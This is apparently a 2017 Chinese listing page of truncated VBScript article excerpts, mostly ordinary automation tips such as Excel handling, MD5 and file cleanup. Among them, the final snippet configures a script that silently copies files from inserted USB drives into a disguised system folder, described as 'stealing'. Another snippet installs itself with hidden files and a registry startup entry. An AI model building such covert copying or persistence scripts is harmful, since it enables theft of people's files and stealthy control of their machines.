枚举域内计算机个数vbscript脚本（没环境，没测试）

2017年02月06日 152 阅读

原来是微软专家的代码在这： http://www.microsoft.com/china/technet/community/scriptcenter/resources/hey060127.mspx 我改成了全自动式的，不需要手要修改域的adsi连接字符串了，代码： 复制代码 代码如下: On Error Resume Next Set objRootDSE = GetObject（"LDAP://rootDSE"） strDomain = ObjRoo...

VBS 脚本不能运行 提示Windows无法访问指定设备路径或文件

2017年02月06日 251 阅读

昨天下载并且安装了Updater Application Block后，需要执行一个Deploy.vbs的文件，鄙人才疏学浅，这个小问题竟然也花费了我不少心机。 现在把结论共享一下。 首先，我的vbs文件关联已经被“豪杰”夺取了。我双击Deploy.vbs就会打开豪杰，比较郁闷。但是我用了打开方式，试了浏览器、cmd，都无济于事。 今天，我想到这个问题后，就有想法去Microsoft的News Group上去问一问。然后又去了CSDN的全文检索。果然很争气...

vbs 搜索代理地址实现代码[小偷程序]

2017年02月06日 127 阅读

复制代码 代码如下:"1、输入url目标网页地址，返回值getHTTPPage是目标网页的html代码 function getHTTPPage（url） dim Http set Http=CreateObject（"MSXML2.XMLHTTP"） Http.open "GET",url,false Http.send（） if Http.readystate<>4 then exit function end if getHTTPPage...

vbscript 调用WebService实现代码

2017年02月06日 135 阅读

复制代码 代码如下:"获取已初始化Soap对象 Public Function GetSoapClient（sURL） Dim oSoap Set oSoap = CreateObject（"MSSOAP.SoapClient"） oSoap.mssoapinit sURL Set GetSoapClient = oSoap End Function "用户绑定对应序列号 sub BindCodeNumber（） Dim oSoap Dim sURL di...

VBScript 算一算你从出生到现在共计多少天

2017年02月06日 164 阅读

VBScript算一算你从出生到现在共计多少天. msgbox DateDiff（"d","1/25/1981",Date） 1. 新建一个记事本，输入上面内容。 2. 存为.vbs文件。 3. 双击执行。 其实呢，算算你的天数也很有必要，要珍惜每一天的光阴，不能浪费。 msgbox DateDiff（"d","1/25/1981",Date） [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行] ...

VBS操作Excel常见方法

2017年02月06日 349 阅读

dim oExcel,oWb,oSheet Set oExcel= CreateObject（"Excel.Application"） Set oWb = oExcel.Workbooks.Open（"E:其他新装电话表.xls"） Set oSheet = oWb.Sheets（"Sheet1"） MsgBox oSheet.Range（"B2"）.Value "#提取单元格B2内容 "..... 3、如果是XP系统，可以使用如下代码 Dim objFi...

VBS 批量读取文件夹内所有的文本到Excel的脚本

2017年02月06日 149 阅读

复制代码 代码如下: "This code is done by KangKang@ Option explicit ‘This is optional, but better to use. Dim FolderPath,Folder Dim fso,File,Files Dim fileNums Dim FileString（） Dim i Dim ii i=0 FolderPath="E:TDDOWNLOADaa" "****************...

vbs 合并多个excel文件的脚本

2017年02月06日 154 阅读

复制代码 代码如下: Const xlWorkbookNormal = -4143 Const xlSaveChanges = 1 objStartFolder = "c: est" "要读取的源文件目录 desExcel= "c: esult1.xls" "最后生成的汇总excel Set ExcelApp = CreateObject（"Excel.Application"） Set destbook = ExcelApp.Workbooks.Add ...

自动删除超过10天的文件及文件夹的vbs代码

2017年02月06日 172 阅读

复制代码 代码如下:option explicit dim fpath,fso,logfile,fwrite fpath=inputbox （"输入目标文件夹","文件处理器"） logfile="logfile.txt" set fso=createobject（"scripting.filesystemobject"） Set fwrite=fso.opentextfile（logfile,8,true） getfilename fpath fwrit...

VBScript 常用函数总结

2017年02月06日 153 阅读

下面是我总结的VBScript中常用的函数及其用法。 1，GetROProperty 说明：You use the GetROProperty method to retrieve the current value of a test object property from a run-time object in your application. 一般来说，所有的对象都可以使用此方法得到运行时对象的实际值。 语法：object.Ge...

利用WScript.Shell对象隐藏cmd命令行运行框的实现代码

2017年02月06日 194 阅读

1. WScript.Shell（Windows Script Host Runtime Library）是一个对象，对应的文件是C:WINDOWSsystem32wshom.ocx，Wscript.shell是服务器系统会用到的一种组件。shell 就是“壳”的意思，这个对象可以执行操作系统外壳常用的操作，比如运行程序、读写注册表、环境变量等。这个对象通常被用在VB或VBS编程中。 2. 安装WScript.Shell对象：regsvr32 WShom....

常用VBS代码 值得一看

2017年02月06日 189 阅读

从系统开始菜单中删除此链接: 复制代码 代码如下: Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOTCLSID{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}] @=- "InfoTip"=- [HKEY_CLASSES_ROOTCLSID{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}DefaultIcon] @=- [HKEY_CLAS...

进程监控实现代码[vbs+bat]

2017年02月06日 141 阅读

运行后会在%windir%system32目录下生成jk.vbs， 并且自动添加注册表启动项，另外在D:会生成一个隐藏属性的JK.VBS， 3秒间隔监控进程，如果进程中有QQ.exe、iexplore.exe、client.exe、game.exe进程则会自动结束进程。 复制代码 代码如下:@echo off attrib -s -h -a -r d:jk.bat 1>nul 2>nul if exist d:jk.bat del d:jk.b...

VBS 生成不重复随机数代码[0-10]

2017年02月06日 129 阅读

复制代码 代码如下:dim Z（10）,i for i=0 to 10 Z（I）=GetRnd（i-1） WScript.Echo （Z（i）） NEXT Function GetRnd（n） Dim i,X Randomize X=CInt（10*Rnd（） ） For i=0 To n If X=Z（i） Then X=GetRnd（n） Exit For End If Next GetRnd=X End Function ...

vbs 百度小助手

2017年02月06日 129 阅读

运行它直接选择： 1.我要回答;2.歌曲搜索;3,新闻搜索;4.网页搜索;5.贴吧搜索;6.知道搜索;7.图片搜索;8.视频搜索;9;百科搜索; 然后输入需要搜索的内容即可直接自动打开转到指定网址自动进行搜索．复制代码 代码如下:xz=InputBox（"1.我要回答;2.歌曲搜索;3,新闻搜索;" & Chr（13） & "4.网页搜索;5.贴吧搜索;6.知道搜索;" & Chr（13） & "7.图片搜索;8.视频搜索;9;百科搜索;","百度小助手 ...

字符ANSI代码查询工具vbs版

2017年02月06日 148 阅读

复制代码 代码如下:x=InputBox（"请输入字符","提示","Test"） If Len（x）<>0 then For i=1 To Len（x） WScript.echo "字符 [" & Mid（x,i,1） & "] ANSI代码为: " & Asc（Mid（x,i,1）） Next Else MsgBox "请输入英文字符",64,"提示" End if...

VBS MD5加密算法代码

2017年02月06日 129 阅读

复制代码 代码如下:Private Const BITS_TO_A_BYTE = 8 Private Const BYTES_TO_A_WORD = 4 Private Const BITS_TO_A_WORD = 32 Private m_lOnBits（30） Private m_l2Power（30） m_lOnBits（0） = CLng（1） m_lOnBits（1） = CLng（3） m_lOnBits（2） = CLng（7） m_lOnB...

用VBS实现一个小键盘动作CTRL+V粘贴操作与思路分析

2017年02月06日 194 阅读

提示: 1,是每次有跳出窗口时的1.8秒后都要有此动作,并且是只发送了一次该动作,发送完后等待下次的窗口跳出再循环. 2,每次循环中都只是发送了一次CTRL + V后就停,而不是一直发送 看到问题，立即着手编写测试代码，这时候问题出现： 弹出 inputbox 窗口后，VBS处于暂停状态，等待用户输入，点击确定or取消， 所以在它后面的 Wshshell.Sendkeys "^v" 将无法执行， 如果前面弹出 inputbox 窗口后点击确定 or 取消的...

VBS 偏移量解密工具[算法解密]

2017年02月06日 135 阅读

复制代码 代码如下:If wscript.arguments.count=0 Or wscript.arguments.Count>1 then msgbox "请将通过偏移量加密过的 VBS 文件拖放到本脚本上即可[请逐个解密]！",48,"提示" wscript.quit End If For Each fname In wscript.Arguments If Right（fname,3）<> "vbs" Then MsgBox "...

自动复制U盘文件的VBS脚本

2017年02月06日 219 阅读

以下为演示： 一、设置 右键单击，选择编辑 oStr = "txt|jpg|doc" "你要窃取的文件类型,可以自行添加，用“|”隔开 oDistPath = "C:\windows\system\" "保存路径 oFolderName = "Task" "保存文件夹名称 oType = 0 "将保存的文件夹进行伪装 1为task文件夹，2为recycler文件夹，0为不伪装 oOut = 1 "1复制完毕后退出,0复制完毕后不退出，继续循环 二、保存后运...